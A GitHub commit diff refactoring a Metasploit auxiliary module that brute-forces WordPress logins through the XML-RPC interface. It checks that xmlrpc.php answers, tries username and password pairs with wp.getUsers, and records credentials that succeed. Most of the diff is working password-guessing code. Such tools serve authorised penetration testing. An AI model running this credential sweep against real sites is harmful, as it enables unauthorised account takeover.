Skip to content

Commit c90434c

Browse files
committed
Added Fixes mentioned by Firefart
Details: * string interpolation removed * Minor styling issues are fixed * peer var used * target_uri added instead of datastore
1 parent 7247f88 commit c90434c

File tree

1 file changed

+41
-45
lines changed

1 file changed

+41
-45
lines changed

modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb

Lines changed: 41 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,6 @@ def initialize(info = {})
3939
[
4040
Opt::RPORT(80),
4141
OptString.new('TARGETURI', [true, 'The path to wordpress xmlrpc file, default is /xmlrpc.php', '/xmlrpc.php']),
42-
# OptBool.new('VERBOSE', [false, 'Whether to print output for all attempts', false]) # warning
4342
], self.class)
4443

4544
deregister_options('BLANK_PASSWORDS') # we don't need this option
@@ -55,14 +54,15 @@ def xmlrpc_enabled?
5554
xml << '</methodCall>'
5655

5756
res = send_request_cgi(
58-
'uri' => datastore['TARGETURI'],
57+
'uri' => target_uri.path,
5958
'method' => 'POST',
60-
'data' => "#{xml}"
59+
'data' => xml
6160
)
6261

6362
if res && res.body =~ /<string>Hello!<\/string>/
6463
return true # xmlrpc is enabled
6564
end
65+
return false
6666
end
6767

6868
def generate_xml_request(user, pass)
@@ -77,20 +77,18 @@ def generate_xml_request(user, pass)
7777
xml
7878
end
7979

80-
def run_host(_ip)
81-
print_status("Checking #{rhost}:#{datastore['TARGETURI']} for xmlrpc..")
82-
if !xmlrpc_enabled?
83-
print_error("#{rhost} XMLRPC is not enabled! -- Aborting")
84-
return :abort
80+
def run_host(ip)
81+
print_status("#{peer}:#{target_uri.path} - Sending Hello...")
82+
if xmlrpc_enabled?
83+
vprint_good("XMLRPC enabled, Hello message received!")
8584
else
86-
vprint_good('XMLRPC enabled, Hello message received!')
85+
print_error("XMLRPC is not enabled! Aborting")
86+
return :abort
8787
end
8888

89-
print_status("#{rhost}:#{rport} - Starting XML-RPC login sweep")
89+
print_status("#{peer} - Starting XML-RPC login sweep...")
9090
each_user_pass do |user, pass|
91-
if user != "" # empty line fix ?
92-
do_login(user, pass)
93-
end
91+
do_login(user, pass)
9492
end
9593
end
9694

@@ -100,53 +98,51 @@ def do_login(user, pass)
10098
begin
10199
res = send_request_cgi(
102100
{
103-
'uri' => datastore['TARGETURI'],
101+
'uri' => target_uri.path,
104102
'method' => 'POST',
105-
'data' => "#{xml_req}"
103+
'data' => xml_req
106104
}, 25)
107105
http_fingerprint(response: res)
108106
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
109-
print_error('HTTP Connection Failed, Aborting')
107+
print_error("#{peer} - HTTP Connection Failed, Aborting")
110108
return :abort
111109
end
112110

113111
unless res
114-
print_error('Connection timed out, Aborting')
112+
print_error("#{peer} - Connection timed out, Aborting")
115113
return :abort
116114
end
117115

118116
if res.code != 200
119-
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
117+
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
120118
return :skip_pass
121119
end
122120

123-
if res.code == 200
124-
# TODO: add more error codes
125-
if res.body =~ /<value><int>403<\/int><\/value>/
126-
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
127-
return :skip_pass
128-
129-
elsif res.body =~ /<value><int>-32601<\/int><\/value>/
130-
print_error('Server error: Requested method `wp.getUsers` does not exists. -- Aborting')
131-
return :abort
132-
133-
elsif res.body =~ /<value><int>401<\/int><\/value>/ || res.body =~ /<name>user_id<\/name>/
134-
print_good("SUCESSFUL LOGIN. '#{user}' : '#{pass}'")
135-
# If verbose set True, dump xml response
136-
vprint_good("#{res}")
137-
138-
report_hash = {
139-
host: datastore['RHOST'],
140-
port: datastore['RPORT'],
141-
sname: 'wordpress-xmlrpc',
142-
user: user,
143-
pass: pass,
144-
active: true,
145-
type: 'password' }
146-
147-
report_auth_info(report_hash)
148-
return :next_user
149-
end
121+
# TODO: add more error codes
122+
if res.body =~ /<value><int>403<\/int><\/value>/
123+
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
124+
return :skip_pass
125+
126+
elsif res.body =~ /<value><int>-32601<\/int><\/value>/
127+
print_error('Server error: Requested method `wp.getUsers` does not exists. -- Aborting')
128+
return :abort
129+
130+
elsif res.body =~ /<value><int>401<\/int><\/value>/ || res.body =~ /<name>user_id<\/name>/
131+
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
132+
# If verbose set True, dump xml response
133+
vprint_good("#{res}")
134+
135+
report_hash = {
136+
host: rhost,
137+
port: rport,
138+
sname: 'wordpress-xmlrpc',
139+
user: user,
140+
pass: pass,
141+
active: true,
142+
type: 'password' }
143+
144+
report_auth_info(report_hash)
145+
return :next_user
150146
end
151147
end
152148
end

0 commit comments

Comments
 (0)